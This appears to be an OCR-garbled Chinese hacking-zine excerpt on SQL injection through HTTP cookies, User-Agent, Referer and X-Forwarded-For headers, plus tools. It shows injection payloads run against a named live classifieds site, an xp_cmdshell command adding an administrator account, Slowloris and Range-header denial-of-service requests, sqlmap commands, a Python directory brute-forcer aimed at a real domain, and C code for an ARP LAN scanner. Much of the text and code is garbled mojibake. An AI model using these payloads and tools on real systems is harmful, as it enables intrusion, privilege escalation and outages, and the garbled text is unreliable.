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GET /index.php HTTP 1.1(\r\n)
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(\r\n)
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Slowloris ANBENZ P AR5 7% 11S6.0, 11S7.0, lighttpd, nginx, Cherokee, Squid.
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POST /openemr/interface/login/login_frame.php HTTP/1.1

Host: 10.200.119.198

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0;
Connection: keep-alive

Content-Length: 1000000

Content-Type: application/x-www-form-urlencoded
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HEAD /file.rmvb HTTP/1.1

Host: www.site.com

Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,,,,,

Accept-Encoding: gzip

Connection: close
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Directory Listing Denied

This Virtual Directory does not allow contents to be listed.
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B Ok T —H]): and 1=(select IS_SRVROLEMEMBER('sysadmin')) — i EL 42 sa AL
M. FERERE AR T,

Sa WL T o o
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user hmhkS haimohk /add'—
http://www.xx00.net/directory/xx00.ASP?xx_1D=237";exec master..xp_cmdshell ‘net
localgroup administrators hmhkS /add’
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TCF 0.0.0.0: 0.0.0.0:0 LISTENING 4 J
TCP 0.0.0.0: 0.0.0.0:0 LISTENING 768
TCP 0.0.0.0: 0.0.0.0:0 LISTENING 4
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Input Parameter Coverage
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fildn: $EAZH HTTP

TATIN 24 1 55 KF HTTP Cookie, >4 HTTP Cookies 1 4 [FIiEbr iR B AR AE1E
B PERS, FRATTN 2430 e A A N 24 B S ) RO HT TP AR . 7E )5 T 3R AT 1
205 B—ME ] Cookie HE4T SQL v A SEH . A HA A HTTP headers AH <MY
.

X-Forwarded-For
X-Forwarded-For J& HTTP headers []— N7 Bto B BN N AEFR IR P i Il i
Hﬂ?ﬁﬂﬁ%ﬁﬁﬂ%“‘%ﬂ*lw@%%ﬁ%%mﬂmmﬂﬁﬁ@o
%kﬂ]ﬂéiif*/\iiﬂiﬂéﬂi%tﬁﬂﬁ%KaEﬁﬁﬂ

ELECT user,password FROM admins WHERE
5 '.*"']]-"' AND password='".md5(%_POST['password®'])."™" AND

function :ﬁﬁlflzclzpﬂ am){ if |1_ HHHH ic(%param)) { return %param; } else { re
mysgl real escape string($paraml}; }

AT AT ip AR . B ip_ addr()?i/%ﬁﬁiﬁuthﬂ%/\ﬁﬂ




function ip_adr() { if

) FOR']1)) { %ip_adr

; lse ERVER[ "REMOTE_ADDR"]; } if
LP ?hu 9714 | {1,33t",%1ip_addr)) { return
S8R, ip Huhik N HTTP k) X_FORWARDED_FOR k0], X2 J&, @it
pre_match ¥ &IXNSEUE T RFER /DA ip Huht, K¥EHl. BT, HRELE
HTTP_X_FORWARDED_FOR F#fi A SQL Al [, ‘& M{EEA 80 L iE,
SEGHAT SQL AU, AJ PUE R IX A7 BOE M=) SQL ARHE
IXANSL B ] DGR THIX A fR] H A8 4

X.php HTTR/]

]
XK S g e
User-agent

User-agent J& ic sk KRR PATHSE S 10— HTTP k2B e LU T4t
H ARG ESE RPN BEAE HTTP Skrb & NAZH A5 10 o 3X AN B IR 5 i 114 20
PR AR, H G ] DA — AN S AN RAL S, AR PRI

ASSEFTA N PR B 24 5 N user-agent, (H A, N FEE 2 sk A7
PG R (lan: W, Seistn, SN KA - /e, etk
B2 IXAS user-agent Sk Bt AT RE H B ) AU 15 Bl TAG 7

HTTP £ ifi s

GET findex.php HTTP/1.1

ost: [host]
ser-Agent: aaa' or 1/%

Hos
Use

Referer

Referer &4 — Al HEH I SQL yENIWIFP) HTTP k. —HNHBEFEA
21 1 JE RS Referer P IR A A AE A AR B E D o HR ™ FE K SQL v AUl
BN VR B de g ]k HTTP Sk B il XN B, T LSRR A A
PEATFE L URI ARG 280500, FSCR bl (B & R ocs). ERlr—4
S5 Ee 0 TIROGBR I N2, PRl kAN A, AR AR DO RS R . B
FEVFAEYES T IR B IR I

S

GET findex.php HTTP/1.1

Host: [host]

User-Agent: aaa' or 1/%*
Referer: http://www.yaboukir.com
Bt H B

BRI EE ), IR 7E OWASP Fi1k Web I R P 224 AU HE
I o Bl ek 2 RS ) TSR BE N S8 AR AR R I B B N AN
Mo BWREMEN A ARERMMHAN, GET, POST, Cookie Zt# HADRM
HTTP Sk ST mE R, 155858/ — ARtk 1 T 4632 5 m AR FH I
FENR
Cookie EN I Frlik

LEX— /N, FATTE A 4H R HTTP Cookie 2% 5 (IR J5 5.

i — N3 A 41

Cookies Manager+



Cookie Manager+7&—/ANR 41, Rl gk, JERENS 7 4FBr cookies I Yo 2 e 14
BB R KT cookies MM BRI R I 4 48 2 4~ cookies, H#&- /RIS EA.
R, MWTHZEH, % Cookies Manager+. FATESE— AN H AR

5 5% Cookie AF+,

9) Cookies Manager+ v1.5.1 [showing 288 of 288, selected 1]
File Edit View Tools Help

Search:

= | site v | Name

[T classifieds.co.zw _utmz

™ classifieds.luxembourgian.com classified_session

v classifieds.luxembourgian.com language_id

_ cfduid

[T cloudflare.com

d—

language_id
L 1

/
I Any type of connection

classifieds.luxembourgian.com

Sun 17 Feb 2013 10:53:58 AM WET

| aAdd || Edit || Delete |

TRA AR/ tanguage_id Ao O T IR A A7 SQL VNG, Bfi]
#7F language_id A2 5 [ content TR INT—AN515 <07,

Edit Cookie+

Name: [ language_id

Content: 1

Host: [ classifieds.luxembourgian.com

Path: @ | /

Send For: | Any type of connection |w |

Http Only:

|date |¥ |
Expires: | February 17, 2013 | 10:53:58 ]
[February |v|[17 |+ [2013|% |10 | 7|53 | ¢ |58 |
= = = = =
1z— as _z—l | Save | | Close

SRJERHTXAS DO, B e 1A WY FHRE e (0 N A BB, 3 B R PP $ 48




Yl HTTP cookie JG ik . IR R Eox, HELT —4 SQL Hiik:

%) Mozilla Firefox

File Edit View History Bookmarks Tools Help

.| http://classifie...embourgian.com/ JE3

@ s f___ﬂ_ http://classifieds.luxembourgian.com/ v (v coq] @

There has been a database error
Error returned:

db Error returned:You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near '\" at line 1

With the following query:
SELECT * FROM geodesic_text languages where language id = 1\'

For
Sale

AR R, $FERTRAT, N HAFLE SQL AW

i i Cookie Manager+L i, ‘el SR AE S Wi, EHAIXF cookie 1
ATHEAE, IF H o] DURAE 2 WTE 0211 cookies

N IRATE R A A Firefox fi4E, A0 H RG34k

Tamper Data:

Tamper Data s&—/MR 58 K 1) Firefox ffiff, 1] LU RFMES HTTP/HTTPS 3k,
F1 post Z 4,

gRTZ G, M HSEH, %FF Tamper Data. fidi Start Tamper JF4A15 8%
HTTP i3k

24 M H B N TR R AEAT 2 K I8, Tamper Data 3 H —NAFURHE, ) 1H) 3%
AT A5 5 ZAE L NI A& ) HTTP 38 3K .

7) Tamper with request? X

é http://classifieds.luxembourgian.com/

Continue Tampering?

| Abort Request | Tamper

fiidy Tamper &, FAT1459 2]—A> Tamper popup XJ 1HHE:




i Tamper Papup *

http:/iclassifieds. Juxembourgian.com/
Request Header Name | Request Header Value | Post Parameter Name | Post Parameter Value
Host dassifieds. luxembourgian.com
User-Agent [Mozillafs.0 (X11; Linux 1686; rv:2.0.1) Geckor201 |
Accept textihtml, applicationfxhtml +xml, application/xm
Accept-Language [ errus emg=05 ]
Accept-Encoding gzip, deflate
Accept-Charset 150-8859- 1, utf-B:q=0.7,:=0.7
Keep-alive 115
Proy-Connection keep-alive
Cookie el T0b2345133381b18; language_id=1 arder by 4
| camcel | [ ox_|

Pl 13 B BoRBISEER N : order by 4 3] HTTP cookie 28 & . MM L

EL T A%
[ F i 2 T 1R o
} Tamper Data - Ongoing requests ~TTH
- Stop Tamper  Clear Options Help
Filber
Time [owation [ motalpuration  [size  |method | stats | contentType |UAL | LoadFlags [e
15032801 3503ms 9237 1 GET 200 testenl  PAmpy.. LOAD DOCUMENT_URI LOAD INTTLAL DOCUMENT_URI
11:51:00660 O ms o ms unknewr,  GET pending ueknown P LOAD NORMAL

FAVAREEM SN, IF HARRARE N order by 5 o FEAIR AW NU1 | -

Classifieds!! - buy and sell here - Mozilla Firefox

File Edit View History Bookmarks Tools Help

| ] Classifieds!! - buy and sell here

@ S '_,_',_ http:ficlassifieds.luxembourgian.com/ v ¢ | rﬂv i R' Q
There has been a database error =
Error returned:

db Error returned:Unknown column '5' in 'order clause’
With the following query:
SELECT * FROM geodesic_text languages messages where text page id = 1 and
language id = 1 order by 5 -
I -
FITEA, FATTREMGHEWT HI 0N 4.
BAE, RAVEAREBIEANTE 210 SQL £&ifl, KA 2 sem gl Br

BL, Tl #4758 language_id 3X4> HTTP cookie 2% & 4 A R X AN 25 1) «
-1+UNION+ALL+SELECT+1,2,3,4
AN A I ] BEA T 21 1 SQL I EAFIA

fEH BB ENRE# TR




F Sqlmap & 5241
Sqlmap & —/NRAT IR H shAiziE M T = o IXANFE P a] PLIA AR
F SQL v N, I H B 20 2R %
Sqlmap 32§ HTTP cookie $#1iE, Jr LA MFMEH J5ik:
1 web B HFE T H1IE 7 2245 T cookie TATIE
FEJAE T, SQL v N FIR I AN A1
Sqlmap ERINIHRFTE 1 GET 2501 POST 8. 24-level ZHH &l 2 5§
HHE KW, R HTTP Cookie Skff. 4XAME® &N 3 B EH AN, et
X HTTP User_Agent £1 HTTP Referer Sk . /R0 LLEARAR A sqlmap 12
., FUHER—NHES R RITINSER, kR -level 4.

Tested HTTP parameter Level in sqlmap
GET 1 [Default)
POST 1 (Default)
HTTF Coockie 22
HTTF User-Agent g

HTTP Referer 3z

wltn, ML GET 2% id Fl HTTP User-Agent, #222-p id,user-agent.
T XA i s DVWA (Damn Vulnerable Web Application) [¥) HTTP
cookie H[]—~ 444 security [F154L.

Illrn-' -|L|1111'1 fsqlif?id=1&5ubmit=Submit#"’

curity=low"’

=string AR, A LA R0 TH AN G R v AR S (FEFEAHTED . ) —
J71E, -dbs BRI, RSRAIZSE IR FEE B RS . Seda, -p ke R H K o il ik
PHPSESSID 25,

[~] root@bt: /jpentest/web/scanners/sglmap
File Edit View Terminal Help

sCcanners/squLmap

; security=low' --string='First name'




E W KRR E WA N R ERE, SRIEENR SOLEARN TR
KT Retg a2k AN ) B, AR sectoolmarket.com $e At (R FRvEFE it 45
TR o TRATT ST AB B EEAS I PR 26 1 i DA TR P ST TR ) N v o 78 5 3 LR =2
Fr. A 1#¥ GET. POST, HTTP Cookie F1 HTTP Headers 1F 4 W iZ # s ¢ )% A\
M. YA NSEERY SR, XA A 0078 s e Y L 100% .
PATVE VU TSR T FER, Wt Ui T ImIR I f A 43 70 sk — A
¥
SR G WA B IR ERR R 1) 1 2 Lerb, FRATIZHU AT 14 4 0 F13 4% -



Rank Yulnerability Vendor Dretection |Input Vector Average
S@Enner Rate Coverage Score
1 Arachni Tasos Laskos | j00.00% | 100% |100.00%
2 Sqglmap |sqlmap developers| o7 p6% | 100% | 98.55%
IBM IBM Security Sys
3 Appscan DTVTSTU” 93 38% 100% 96,69%
Acunetix .
4 WVS Acunetix 89.71% | 100% | 94,85%
5 |NTOSpider| NT OBJECTives | gsa9m | 100% | 92.64%
Tenable Network
6 Nessus Security 8235% | 100% | 91,17%
HP Apps Securi
; |Weblnspect I?:p Y 75.74% | 100% | 87,87%
enter ’ :
Burp Suite .
8 Pro PortSwigger 72.06% | 100% | 86,03%
s | Cenzic Pro Cenzic 63.24% | 100% | 81,62%
- Michal Zalewski -
1o | SkipFish Google 50.74% | 100% | 75,37%
11 Wapiti OWASP 100.00% | 50% | 75.00%
12 | Netsparker| Mavituna Security | gz oo | sow | 74.00%
MileSCAN
15 | Paros Pro Technologies 93.38% | 50% | 71,69%
14 ZAP OWASP 77,21% | 50% | 63,60%

FATTIERLARATT SQL i3 Al PR PHE A 4 R0 AT D %) i N 1) 2 8 i v R )

FEIME, RERATE] AR




Scanners order by average score
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TR A
X FHRE

TR X Cookies FIILARKIA7-fit HTTP Sk iZ G Sofd FH 7 g A\ (1) 2R 51
I Z AL F U N —Ff .

XFFRE

U XA WY IR AR SQL R [ F w5 8 28 A oA AR I I (XSS L2 N
5510, 8 v B HTTP S5 BRI AR . o Sk 1] )™ vl g R
IS P RS B A D PR S o — M 0, R — AN EER P I I . IR S WT REAE
Cookie H # 1 fik ., $& W F & # , HTTP-headers ( %
HTTP_USER_AGENT ) ,form-variables ({7 7~ fl [& ik ), Ajax- , JQusery-,
XML-requests.

2 3K -

[1]Penetration Testing with Improved Input Vector Identification, William G.J.
Halfond, Shauvik Roy Choudhary, and Alessandro Orso College of Computing
Georgia Institute of Technology

[2]Security Tools Benchmarking — A blog dedicated to aiding pen-testers in
choosing tools

that make a difference. By Shay-Chen

http://sectooladdict.blogspot.com/2011/08/commercial-web-application-scanner.h
tml

[3]https://en.wikipedia.org/wiki/X-Forwarded-For

[4] http://www.techbrunch.fr/securite/blind-sgl-injection-header-http/

[5]http://www.w3.org/Protocols/HTTP/HTRQ_Headers.html#user-agent

[6]http://www.w3.0rg/Protocols/HT TP/HTRQ_Headers.html#z14

[7]https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/

[8]https://addons.mozilla.org/en-US/firefox/addon/tamper-data/



[9]http://sqlmap.sourceforge.net/doc/README.htmi
[10]http://msdn.microsoft.com/en-us/library/ms161953.aspx

5. python H B RERF

Author: maxs98

BT 2ARORM, S RERRR, RE T HTTP S W ot i 5 A7 A AR
i P IS 5 S T I SCPE, SRR . (AREIRTE D

#usr/bin/python

#encoding=utf-8

import sys

import httplib

import re

import time

def Usage():
print 'Usage: python scan.py www.xjbaihe.com’
sys.exit()

if len(sys.argv)!=2:
Usage()

start = time.time()
target = sys.argv[1]
port = 80
dict_path = "/media/sf_ TDDOWNLOAD/dict.txt"
f = file(dict_path)
while True:
line = f.readline()
line = re.split(\\r',line,2)
path = line[0].decode("'gbk™).encode("'utf-8")
#print line
conn = httplib. HTTPConnection(target,80)
#conn.set_debuglevel(2)
conn.request('GET",path,headers = {"Host": target,"User-Agent": "Mozilla/5.0
(Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624
Firefox/3.5","Accept": "text/plain™})

ret = conn.getresponse().status

if ret==200 or ret==500 or ret==403 or ret==301:
print target+path+' found! status:’, ret

else:
print target+path+" not found!"


http://www.90sec.org/space.php?uid=822
http://www.xjbaihe.com/

if len(line)==0:
print "done..."
break
f.close()
print "Elapsed Time: %s" % (time.time() - start)

N R, T N R BA SIS AL BEEA R ) AR . TR R AT
HIKZ . AR A LD AR

#!/usr/bin/env python

import Queue

import threading

import httplib

import time

import re

queue = Queue.Queue()

class ThreadUrl(threading.Thread):
""Threaded Url Grab™"
def __init__(self, queue):
threading. Thread. _init__(self)
self.queue = queue

def run(self):
while True:
#
path = self.queue.get()
target = "www.xjbaihe.com”
port = 80

conn = httplib. HTTPConnection(target,80)
conn.request('GET',path,headers = {"Host™: target,"User-Agent":
"Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624
Firefox/3.5","Accept": "text/plain™})
ret = conn.getresponse().status
if ret==200 or ret==500 or ret==403 or ret==301:
print path+' found! status:', ret
else:
print path+" not found!"

#signals to queue job is done



self.queue.task_done()

start = time.time()
def main():

#spawn a pool of threads, and pass them queue instance
for i in range(5):

t = ThreadUrl(queue)

t.setDaemon(True)

t.start()

#populate queue with data
print "reading dict..."
dict_path = "/media/st_TDDOWNLOAD/dictest.txt"
f = file(dict_path)
while True:
line = f.readline()
line = re.split(\\r',line,2)
path = line[0].decode(gbk™).encode(*'utf-8")
queue.put(path)
if len(path)==0:
print "done..."
break
f.close()

#wait on the queue until everything has been processed
queue.join()

__hame__ =='_ main__"

main()
print "Elapsed Time: %s" % (time.time() - start)



6. EiEM B s FEEN
Author: vfox
Ox1 BEAN T, BRKZKIr=—A H OS5 R A AL T .
THSEILLL R Dy fe:
1 ABhTHRE 2R 1P B
2 ZEMAM
3 By AN ERG AL 1P R MAC Hihik, DAKAEIS B30
0x2 AU
M
118 S48 R A7 % L
MR ASHH ip
Ik i GRE RN IP Agea b —4
/Iby vfox time:2011-12-29
T
#include <windows.h>
#include <stdio.h>
#include <iphlpapi.h>

#pragma comment (lib,"ws2_32.1ib")

#pragma comment (lib,"iphlpapi.lib™)

Il 2R S E5

struct CThreadParam

{
UINT ulp; 11 FEHY) ip Hihk
HANDLE hEventCopy; // W{H S FiAt
+
CRITICAL_SECTION cs; I FT BRI B S X
UINT uTotal = 0; I S — A AR AL

P A E N LR TE R 2L
DWORD WINAPI LanScan(LPVOID param)
{

HRESULT result;

CThreadParam cParam;

ULONG c[2] = {0},len=6;

cParam = *(CThreadParam *)param;
SetEvent(cParam.hEventCopy);


http://www.90sec.org/space.php?uid=519

113X )
result = SendARP(htonl(cParam.ulp),NULL,c,&len); I1'%%3% ARP

I AU

if(result == NO_ERROR)

{
UINT i;
BYTE *g = (BYTE *)&c;
in_addr target_addr;

target_addr.S_un.S_addr=htonl((cParam.ulp));

if (len)
{
::EnterCriticalSection(&cs);
printf("host %s living, max address:",
inet_ntoa(target_addr));
for (i=0; i< (int) len; i++)

{
if (i==(len-1))
{
printf(*%.2X\n", (int) g[i]);
}
else
{
printf("%.2X-", (int) g[i]);
}
}
uTotal++;
::LeaveCriticalSection(&cs);
}
}
return O;
}
int main()
{

Il Y144k socket

WSADATA data;

WORD wVersion = MAKEWORD(2,2);
WSAStartup(w\ersion,&data);



hostent *pLocalHost;
HANDLE hEvent;

Il SRAFAHL NP 45t
pLocalHost = ::gethostbyname(™");

Il SXAERAG I P 2% 75
ULONG ullpAddress

(*(struct in_addr

*)*(pLocalHost->h_addr_list)).S_un.S_addr;

PIP_ADAPTER_INFO pAdapterinfo=NULL,;
ULONG ulLen=0;

11 Ay 3 IE 2t G 4 WA A AT
::GetAdaptersinfo(pAdapterinfo,&ulLen);
pAdapterinfo=(PIP_ADAPTER_INFO)::GlobalAlloc(GPTR,ulLen);

I WA RS H T 3 24

::InitializeCriticalSection(&cs);

hEvent = ::CreateEventW(NULL, FALSE, FALSE, NULL);
CThreadParam cParam;

TTHRAS A 1 3 T 44 45 4 1 S
if(::GetAdaptersinfo(pAdapterinfo,&ulLen)==ERROR_SUCCESS)

{
while (pAdapterinfo!=NULL)

{

if

(::inet_addr(pAdapterinfo->IpAddressList.IpAddress.String) == ullpAddress)

{
13X LB Oy ENL T
ULONG ullpMask

ntohl(::inet_addr(pAdapterinfo->IpAddressList.IpMask.String));

ullpMask;

Il 53AG 2%
ULONG ulNetName = ntohl(ullpAddress) &

I BRI 2 $RAF XA B i) = AL E
UINT unNum = ~ullpMask;

UINT nNumofHost = unNum - 2;

I JEAAE ML 1P iy NG FESEAT H1 45
UINT i;

HANDLE hThread;

DWORD wThread;



for (i=0; i < nNumofHost; i++)
{
Il AR & ELE 1
cParam.ulp = ulNetName + i + 1;
cParam.hEventCopy = hEvent;
hThread = CreateThread(NULL, O,
LanScan, (LPVOID)&cParam, 0, &wThread);

::WaitForSingleObject(hEvent,

INFINITE);
}
break;
}
pAdapterinfo = pAdapterinfo->Next;
}
}
IARE 5By, FFRFFEHAT S
Sleep(5000);
printf("\ntotal = %d\n", uTotal);
return O;
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